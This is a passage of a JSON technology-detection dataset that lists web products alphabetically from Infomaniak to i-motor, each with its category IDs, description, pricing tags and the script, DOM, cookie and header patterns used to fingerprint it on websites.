\"Infomaniak.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.infomaniak.com\"\n  },\n  \"InforUMobile\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"InforUMobile is a multi-channel system that enables digital communication with customers, offering various channels for interacting and engaging with users, developed by the Shamir Systems Group.\",\n    \"dom\": [\n      \"iframe[src*='bot.frontcld.com/bot/chat']\"\n    ],\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.inforu.co.il\"\n  },\n  \"Infoset\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Infoset is an advanced communication and support solutions.\",\n    \"icon\": \"Infoset.svg\",\n    \"js\": {\n      \"InfosetChat\": \"\",\n      \"InfosetRoot\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://infoset.app\"\n  },\n  \"Infront\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Infront is a sports marketing company that specializes in the management, marketing, and distribution of sports media rights and events, providing services to sports federations, leagues, clubs, and media partners worldwide.\",\n    \"dom\": [\n      \"#corebine-app\"\n    ],\n    \"icon\": \"Infront.svg\",\n    \"js\": {\n      \"corebine\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://www.infront.sport\"\n  },\n  \"InkSoft\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"InkSoft is a comprehensive platform offering online designer tools and ecommerce solutions tailored for printing companies.\",\n    \"icon\": \"InkSoft.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.inksoft\\\\.com/\"\n    ],\n    \"website\": \"https://www.inksoft.com\"\n  },\n  \"Innervate\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Innervate is a company that provides a plug-and-play solution for dynamic customer experience orchestration across various formats and channels, leveraging existing systems, data, and teams to enhance and streamline customer interactions.\",\n    \"dom\": [\n      \"link[href*='.revjet.com']\"\n    ],\n    \"icon\": \"Innervate.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.innervate.com\"\n  },\n  \"Innovid Advertising Measurement\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Innovid Advertising Measurement is a solution for assessing and analyzing the performance of advertising campaigns across different platforms and devices.\",\n    \"dom\": [\n      \"link[href*='.tvsquared.com']\"\n    ],\n    \"icon\": \"Innovid.svg\",\n    \"js\": {\n      \"TV2Track\": \"\",\n      \"_tvq\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.innovid.com/solutions/advertising-measurement\"\n  },\n  \"Insider\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Insider is the first integrated Growth Management Platform helping digital marketers drive growth across the funnel, from Acquisition to Activation, Retention, and Revenue from a unified platform powered by Artificial Intelligence and Machine Learning.\",\n    \"icon\": \"Insider.svg\",\n    \"js\": {\n      \"Insider\": \"\\\\;confidence:20\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.useinsider\\\\.\\\\w+/\"\n    ],\n    \"website\": \"https://useinsider.com\"\n  },\n  \"Insightly CRM\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Insightly CRM is a cloud-based customer relationship management software, helps businesses manage leads, contacts, and opportunities, track customer interactions, create custom reports, automate workflows, and integrate with third-party applications, improving customer engagement and streamlining business processes.\",\n    \"dom\": [\n      \"form[action*='.insightly.com/']\"\n    ],\n    \"icon\": \"Insightly.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"low\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.insightly\\\\.services/\"\n    ],\n    \"website\": \"https://www.insightly.com/crm/\"\n  },\n  \"Insignal\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Insignal is a cloud-based application that tracks website traffic, heatmap, timeline, feedback, session recordings, and survey solutions.\",\n    \"icon\": \"Insignal.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.insignal\\\\.co/\"\n    ],\n    \"website\": \"https://insignal.co/\"\n  },\n  \"Inspectlet\": {\n    \"cats\": [\n      10\n    ],\n    \"html\": [\n      \"<!-- (?:Begin|End) Inspectlet Embed Code -->\"\n    ],\n    \"icon\": \"inspectlet.png\",\n    \"js\": {\n      \"__insp\": \"\",\n      \"__inspld\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cdn\\\\.inspectlet\\\\.com\"\n    ],\n    \"website\": \"https://www.inspectlet.com/\"\n  },\n  \"Instabot\": {\n    \"cats\": [\n      5,\n      10,\n      32,\n      52,\n      58\n    ],\n    \"description\": \"Instabot is a conversion chatbot that understands your users, and curates information, answers questions, captures contacts, and books meetings instantly.\",\n    \"icon\": \"Instabot.svg\",\n    \"js\": {\n      \"Instabot\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/rokoInstabot\\\\.js\"\n    ],\n    \"website\": \"https://instabot.io/\"\n  },\n  \"Instafeed\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Instafeed is an official Instagram app.\",\n    \"icon\": \"Instafeed.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"instafeed\\\\.nfcube\\\\.com/\"\n    ],\n    \"website\": \"https://apps.shopify.com/instafeed\"\n  },\n  \"Instafeed.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"A way to add Instagram photos to your website.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"instafeed(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://instafeedjs.com/\"\n  },\n  \"Instagram Feed for WordPress\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Display Instagram photos from any non-private Instagram accounts.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/instagram-feed'], a[data-full-res*='/wp-content/uploads/sb-instagram-feed-images/'], img[src*='/wp-content/uploads/sb-instagram-feed-images/'], img[src*='/wp-content/plugins/instagram-feed/'], img[data-src*='/wp-content/uploads/sb-instagram-feed-images/']\"\n    ],\n    \"oss\": true,\n    \"pricing\": [\n      \"low\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"instagram-feed(?:\\\\/js)?(?:\\\\/sbi-scripts)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/instagram-feed/\"\n  },\n  \"Instamojo\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Instamojo is a Bangalore-based company that provides a platform for selling digital goods and collecting payment online.\",\n    \"icon\": \"instamojo.svg\",\n    \"js\": {\n      \"INITIAL_STATE.seller.avatar\": \"\\\\.instamojo\\\\.com/\",\n      \"Instamojo\": \"\"\n    },\n    \"website\": \"https://www.instamojo.com/\"\n  },\n  \"Instana\": {\n    \"cats\": [\n      10,\n      13,\n      78\n    ],\n    \"description\": \"Instana is a Kubernetes-native APM tool which is built for new-stack including Microservices and lately Serverless but also supports the existing VM based stacks  including several supported technologies.\",\n    \"icon\": \"Instana.svg\",\n    \"js\": {\n      \"ineum\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"eum\\\\.instana\\\\.io\"\n    ],\n    \"website\": \"https://www.instana.com\"\n  },\n  \"Instant\": {\n    \"cats\": [\n      51,\n      100\n    ],\n    \"description\": \"Instant is a no-code, visual page builder for Shopify, allowing users to create custom landing pages and sections through a drag-and-drop interface without requiring any coding skills.\",\n    \"dom\": [\n      \"div[class='__instant'][data-instant-version]\"\n    ],\n    \"icon\": \"Instant.svg\",\n    \"js\": {\n      \"Instant.initializedVersion\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"__instantInitSliders\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://instant.so\"\n  },\n  \"Instant.Page\": {\n    \"cats\": [\n      59,\n      92\n    ],\n    \"description\": \"Instant.Page is a JavaScript library which uses just-in-time preloading technique to make websites faster.\",\n    \"icon\": \"Instant.page.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"instant\\\\.page\"\n    ],\n    \"website\": \"https://instant.page/\"\n  },\n  \"InstantCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"InstantCMS[logdate]\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:instantcms:instantcms:*:*:*:*:*:*:*:*\",\n    \"icon\": \"InstantCMS.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"InstantCMS\"\n    },\n    \"website\": \"https://www.instantcms.ru\"\n  },\n  \"InstantClick\": {\n    \"cats\": [\n      59,\n      92\n    ],\n    \"description\": \"InstantClick is a JavaScript library that speeds up your website, making navigation faster.\",\n    \"icon\": \"InstantClick.svg\",\n    \"js\": {\n      \"InstantClick\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"instantclick\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://instantclick.io/\"\n  },\n  \"InstantGeo\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"InstantGeo is a service that provides IP geolocation to web pages\",\n    \"icon\": \"InstantGeo.svg\",\n    \"js\": {\n      \"geojs\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.instantgeo\\\\.info\",\n      \"script\\\\.instantgeo\\\\.info\"\n    ],\n    \"website\": \"https://instantgeo.info\"\n  },\n  \"Instapage\": {\n    \"cats\": [\n      51,\n      74,\n      10\n    ],\n    \"description\": \"Instapage is a cloud-based landing page platform designed for marketing teams and agencies.\",\n    \"icon\": \"Instapage.svg\",\n    \"implies\": [\n      \"Lua\",\n      \"Node.js\"\n    ],\n    \"js\": {\n      \"_instapageSnowplow\": \"\",\n      \"instapageSp\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.instapagemetrics\\\\.com\",\n      \"heatmap-events-collector\\\\.instapage\\\\.com\"\n    ],\n    \"website\": \"https://instapage.com\"\n  },\n  \"Instatus\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Instatus is a status and incident communication tool.\",\n    \"dom\": {\n      \"a.footer__link\": {\n        \"text\": \"Powered by Instatus\"\n      },\n      \"a[href*='instatus.com'][target='_blank'], iframe[src*='.instatus.com']\": {\n        \"exists\": \"\"\n      }\n    },\n    \"icon\": \"Instatus.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://instatus.com\"\n  },\n  \"Intaker\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Intaker is a service that enables law firms to send and receive text messages with clients, including automated follow-up messages.\",\n    \"dom\": {\n      \"link[href*='chat-api.intaker.com/api/']\": {\n        \"attributes\": {\n          \"href\": \"api/v([\\\\d]+)\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Intaker.svg\",\n    \"js\": {\n      \"Intaker\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://intaker.com\"\n  },\n  \"Integral Ad Science\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Integral Ad Science is an American publicly owned technology company that analyses the value of digital advertising placements.\",\n    \"dom\": [\n      \"link[href*='.adsafeprotected.com']\"\n    ],\n    \"icon\": \"Integral Ad Science.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.adsafeprotected\\\\.com/\"\n    ],\n    \"website\": \"https://integralads.com\"\n  },\n  \"Intel Active Management Technology\": {\n    \"cats\": [\n      22,\n      46\n    ],\n    \"cpe\": \"cpe:2.3:a:intel:active_management_technology:*:*:*:*:*:*:*:*\",\n    \"description\": \"Intel Active Management Technology (AMT) is a proprietary remote management and control system for personal computers with Intel CPUs.\",\n    \"headers\": {\n      \"Server\": \"Intel\\\\(R\\\\) Active Management Technology(?: ([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Intel Active Management Technology.svg\",\n    \"website\": \"https://intel.com\"\n  },\n  \"Intelligems\": {\n    \"cats\": [\n      74\n    ],\n    \"description\": \"Intelligems is a tool that facilitates profit optimization for ecommerce businesses by allowing easy testing of prices, discounts, and shipping rates with the aim of maximizing margins.\",\n    \"icon\": \"Intelligems.svg\",\n    \"js\": {\n      \"webpackChunk_intelligems_shopify_plugin\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.intelligems\\\\.io/[\\\\w]+\\\\.js\"\n    ],\n    \"website\": \"https://intelligems.io\"\n  },\n  \"Intellimize\": {\n    \"cats\": [\n      74,\n      76\n    ],\n    \"description\": \"Intellimize is a platform that utilizes machine learning to optimize website experiences and increase conversions in real-time.\",\n    \"icon\": \"Intellimize.svg\",\n    \"js\": {\n      \"intellimize\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.intellimize\\\\.co/\"\n    ],\n    \"website\": \"https://www.intellimize.com\"\n  },\n  \"IntenseDebate\": {\n    \"cats\": [\n      15\n    ],\n    \"description\": \"IntenseDebate is a blog commenting system that supports Typepad, Blogger and Wordpress blogs. The system allows blog owners to track and moderate comments from one place with features like threading, comment analytics, user reputation, and comment aggregation.\",\n    \"icon\": \"IntenseDebate.svg\",\n    \"scriptSrc\": [\n      \"intensedebate\\\\.com\"\n    ],\n    \"website\": \"https://intensedebate.com\"\n  },\n  \"Interact\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Interact is a tool for creating online quizzes.\",\n    \"icon\": \"Interact.svg\",\n    \"js\": {\n      \"InteractApp.name\": \"InteractApp\",\n      \"InteractPromotionObject\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.tryinteract\\\\.com/\"\n    ],\n    \"website\": \"https://www.tryinteract.com\"\n  },\n  \"InteractiveCalculator\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"InteractiveCalculator is a platform that enables users to create customized calculators that can be embedded on their website.\",\n    \"icon\": \"InteractiveCalculator.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"embed\\\\.interactivecalculator\\\\.com/\"\n    ],\n    \"website\": \"https://www.interactivecalculator.com\"\n  },\n  \"Interakt\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Interakt is a messaging platform tailored for business communication, offering features such as secure messaging, file sharing, and customer support functionalities.\",\n    \"icon\": \"Interakt.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.interakt\\\\.ai/\"\n    ],\n    \"website\": \"https://www.interakt.shop\"\n  },\n  \"Intercom\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Intercom is an American software company that produces a messaging platform which allows businesses to communicate with prospective and existing customers within their app, on their website, through social media, or via email.\",\n    \"dom\": [\n      \"link[href^='https://widget.intercom.io']\",\n      \"div.live-chat-loader-placeholder\",\n      \"iframe#intercom-frame\"\n    ],\n    \"icon\": \"Intercom.svg\",\n    \"js\": {\n      \"Intercom\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:api\\\\.intercom\\\\.io/api|static\\\\.intercomcdn\\\\.com/intercom\\\\.v1)\"\n    ],\n    \"website\": \"https://www.intercom.com\"\n  },\n  \"Intercom Articles\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"Intercom Articles is a tool to create, organise and publish help articles.\",\n    \"html\": [\n      \"<a href=\\\"https://www.intercom.com/intercom-link[^\\\"]+solution=customer-support[^>]+>We run on Intercom\"\n    ],\n    \"icon\": \"Intercom.svg\",\n    \"website\": \"https://www.intercom.com/articles\"\n  },\n  \"Internet Brands\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Internet Brands is a technology company that operates a variety of web portals and online communities, providing information and services to consumers and businesses across a range of industries.\",\n    \"dom\": {\n      \"footer > div > form\": {\n        \"text\": \"Internet Brands\"\n      }\n    },\n    \"icon\": \"Internet Brands.svg\",\n    \"pricing\": [\n      \"poa\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.internetbrands.com\"\n  },\n  \"Intersection Observer\": {\n    \"cats\": [\n      92,\n      59\n    ],\n    \"description\": \"Intersection Observer is a browser API that provides a way to observe the visibility and position of a DOM element relative to the containing root element or viewport.\",\n    \"icon\": \"W3C.svg\",\n    \"scriptSrc\": [\n      \"cdn\\\\.jsdelivr\\\\.net/npm/intersection-observer@([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"/assets/(?:.+)?intersection-observer\\\\.[\\\\d\\\\w\\\\.]+\\\\.js\"\n    ],\n    \"website\": \"https://www.w3.org/TR/intersection-observer\"\n  },\n  \"Intershop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Intershop is an ecommerce platform, tailored to the needs of complex business processes and major organisations.\",\n    \"html\": [\n      \"<ish-root\"\n    ],\n    \"icon\": \"Intershop.svg\",\n    \"pricing\": [\n      \"onetime\",\n      \"high\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:is-bin|INTERSHOP)\"\n    ],\n    \"website\": \"https://intershop.com\"\n  },\n  \"Intice\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Intice is a lead conversion tool designed for the automotive industry, streamlining customer engagement and improving the conversion process from inquiries to sales.\",\n    \"icon\": \"Intice.svg\",\n    \"js\": {\n      \"intice\": \"\",\n      \"inticeAllEvents\": \"\",\n      \"inticeIMP\": \"\",\n      \"inticeLeadmakerAnalytics\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tools\\\\.inticeinc\\\\.com\"\n    ],\n    \"website\": \"https://intice.com\"\n  },\n  \"Invenio\": {\n    \"cats\": [\n      50\n    ],\n    \"cookies\": {\n      \"INVENIOSESSION\": \"\"\n    },\n    \"description\": \"Invenio is an open-source software framework for large-scale digital repositories that provides the tools for management of digital assets in an institutional repository and research data management systems.\",\n    \"html\": [\n      \"(?:Powered by|System)\\\\s+(?:CERN )?<a (?:class=\\\"footer\\\" )?href=\\\"http://(?:cdsware\\\\.cern\\\\.ch(?:/invenio)?|invenio-software\\\\.org|cern\\\\.ch/invenio)(?:/)?\\\">(?:CDS )?Invenio</a>\\\\s*v?([\\\\d\\\\.]+)?\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Invenio.svg\",\n    \"oss\": true,\n    \"website\": \"https://invenio-software.org\"\n  },\n  \"Inventrue\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Inventrue creates websites for RV, Motorsports and Trailer Dealerships.\",\n    \"icon\": \"Inventrue.svg\",\n    \"meta\": {\n      \"author\": \"^Inventrue, LLC.$\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.inventrue.com\"\n  },\n  \"Inveon\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"INV.Customer\": \"\\\\;confidence:50\",\n      \"inveonSessionId\": \"\"\n    },\n    \"description\": \"Inveon is a technology company that has been delivering ecommerce infrastructure software and mcommerce applications.\",\n    \"icon\": \"Inveon.svg\",\n    \"js\": {\n      \"InvApp\": \"\\\\;confidence:50\",\n      \"invTagManagerParams\": \"\"\n    },\n    \"scriptSrc\": [\n      \"Scripts/_app/Inv(?:\\\\w+)\\\\.js\\\\?v=(.+)$\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.inveon.com\"\n  },\n  \"Invision Community\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Invision Community is a scalable and customizable platform designed to build and grow online communities.\",\n    \"icon\": \"InvisionCommunity.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.invisioncic\\\\.com/\"\n    ],\n    \"website\": \"https://invisioncommunity.com\"\n  },\n  \"Invision Power Board\": {\n    \"cats\": [\n      2\n    ],\n    \"cookies\": {\n      \"ipbWWLmodpids\": \"\",\n      \"ipbWWLsession_id\": \"\"\n    },\n    \"description\": \"Invision Power Board is a commercial Internet forum software developed by Invision Community (formerly Invision Power Services).\",\n    \"html\": [\n      \"<link[^>]+ipb_[^>]+\\\\.css\"\n    ],\n    \"icon\": \"Invision Power Board.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"js\": {\n      \"IPBoard\": \"\",\n      \"ipb_var\": \"\",\n      \"ipsSettings\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"jscripts/ips_\"\n    ],\n    \"website\": \"https://invisioncommunity.com\"\n  },\n  \"Invitario\": {\n    \"cats\": [\n      104\n    ],\n    \"description\": \"Invitario is an event marketing platform that provides a digital invitation and guest management for business events.\",\n    \"icon\": \"Invitario.svg\",\n    \"js\": {\n      \"InvitarioWidget\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://invitario.com\"\n  },\n  \"Invoca\": {\n    \"cats\": [\n      32,\n      10\n    ],\n    \"description\": \"Invoca is an AI-powered call tracking and conversational analytics company.\",\n    \"icon\": \"Invoca.svg\",\n    \"js\": {\n      \"Invoca.PNAPI.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"InvocaTagId\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.dialogtech\\\\.com/\"\n    ],\n    \"website\": \"https://www.invoca.com\"\n  },\n  \"Ionic\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Ionic is an open-source framework that enables developers to create cross-platform mobile, web, and desktop applications using web technologies like HTML, CSS, and JavaScript.\",\n    \"icon\": \"Ionic.svg\",\n    \"js\": {\n      \"Ionic.config\": \"\",\n      \"Ionic.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://ionicframework.com\"\n  },\n  \"Ionicons\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"Ionicons is an open-source icon set crafted for web, iOS, Android, and desktop apps.\",\n    \"dom\": [\n      \"link[href*='/ionicons.min.css'], link[href*='/ionicons.css']\"\n    ],\n    \"icon\": \"Ionicons.svg\",\n    \"oss\": true,\n    \"website\": \"https://ionicons.com\"\n  },\n  \"IrisLMS\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"IrisLMS comprehensive education management system, in order to support e-learning and provide suitable conditions for holding online and offline classes with all facilities.\",\n    \"icon\": \"IrisLMS.png\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.irislms\\\\.ir/\"\n    ],\n    \"website\": \"https://irislms.ir\"\n  },\n  \"Irroba\": {\n    \"cats\": [\n      6\n    ],\n    \"html\": [\n      \"<a[^>]*href=\\\"https://www\\\\.irroba\\\\.com\\\\.br\"\n    ],\n    \"icon\": \"irroba.svg\",\n    \"website\": \"https://www.irroba.com.br/\"\n  },\n  \"Isotope\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Isotope.js is a JavaScript library that makes it easy to sort, filter, and add Masonry layouts to items on a webpage.\",\n    \"icon\": \"Isotope.svg\",\n    \"js\": {\n      \"Isotope\": \"\",\n      \"init_isotope\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"website\": \"https://isotope.metafizzy.co\"\n  },\n  \"Isso\": {\n    \"cats\": [\n      15\n    ],\n    \"description\": \"Isso is a lightweight commenting server written in Python and JavaScript, referred to as \\\"Ich schrei sonst\\\" in German.\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"js\": {\n      \"Isso.fetchComments\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/posativ/isso/\"\n  },\n  \"Issuu\": {\n    \"cats\": [\n      19,\n      5\n    ],\n    \"description\": \"Issuu is a digital discovery and publishing platform.\",\n    \"dom\": [\n      \"a[href*='issuu.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Issuu.svg\",\n    \"js\": {\n      \"IssuuReaders\": \"\",\n      \"issuuPanel\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.issuu\\\\.com/\"\n    ],\n    \"website\": \"https://issuu.com\"\n  },\n  \"It'seeze\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"It’seeze is a website design platform with a custom CMS for seamless site updates and management.\",\n    \"dom\": [\n      \"footer > div[id*='itseezeFooter']\"\n    ],\n    \"icon\": \"Itseeze.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://itseeze.com/\"\n  },\n  \"Iterable\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Iterable is a cross-channel marketing platform that powers unified customer experiences.\",\n    \"icon\": \"Iterable.svg\",\n    \"js\": {\n      \"iterableAnalytics\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.iterable\\\\.com\"\n    ],\n    \"website\": \"https://iterable.com\"\n  },\n  \"Iterate\": {\n    \"cats\": [\n      73\n    ],\n    \"description\": \"Iterate is a customer insights manager (CIM) system, facilitating website and email surveys to harness customer insights across your entire business.\",\n    \"icon\": \"Iterate.svg\",\n    \"js\": {\n      \"Iterate\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.iteratehq\\\\.com/\"\n    ],\n    \"website\": \"https://iteratehq.com\"\n  },\n  \"Ivory Search\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Ivory Search is a WordPress search plugin that improves WordPress search by providing advanced options to extend search or exclude specific content from search.\",\n    \"icon\": \"ivory_searc.svg\",\n    \"js\": {\n      \"IvorySearchVars\": \"\",\n      \"ivory_search_analytics\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/add-search-to-menu/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://ivorysearch.com\"\n  },\n  \"Izooto\": {\n    \"cats\": [\n      32,\n      5\n    ],\n    \"description\": \"iZooto is a user engagement and retention tool that leverages web push notifications to help business to drive repeat traffic, leads and sales.\",\n    \"icon\": \"Izooto.svg\",\n    \"js\": {\n      \"Izooto\": \"\",\n      \"_izooto\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.izooto\\\\.\\\\w+\"\n    ],\n    \"website\": \"https://www.izooto.com\"\n  },\n  \"i-MSCP\": {\n    \"cats\": [\n      9\n    ],\n    \"description\": \"i-MSCP (internet Multi Server Control Panel) is a software for shared hosting environments management on Linux servers.\",\n    \"icon\": \"i-MSCP.png\",\n    \"meta\": {\n      \"application-name\": \"^i-MSCP$\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/i-MSCP/imscp\"\n  },\n  \"i-mobile\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"i-mobile is a advertising platform for clients to advertise their product and for publishers to monetize their cyberspace.\",\n    \"dom\": [\n      \"img[src*='.i-mobile.co.jp/']\"\n    ],\n    \"icon\": \"i-mobile.png\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.i-mobile\\\\.co\\\\.jp/\"\n    ],\n    \"website\": \"https://www2.i-mobile.co.jp\"\n  },\n  \"i-motor\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"i-motor is a platform that enhances automotive dealer websites by providing innovative, connected solutions to improve the online experience.\",\n    \"dom\": [\n      \"link[href*='.i-motor.com.au/']\"\n    ],\n    \"icon\": \"i-motor.svg\",\n    \"saas\": true,\n    \"website\": 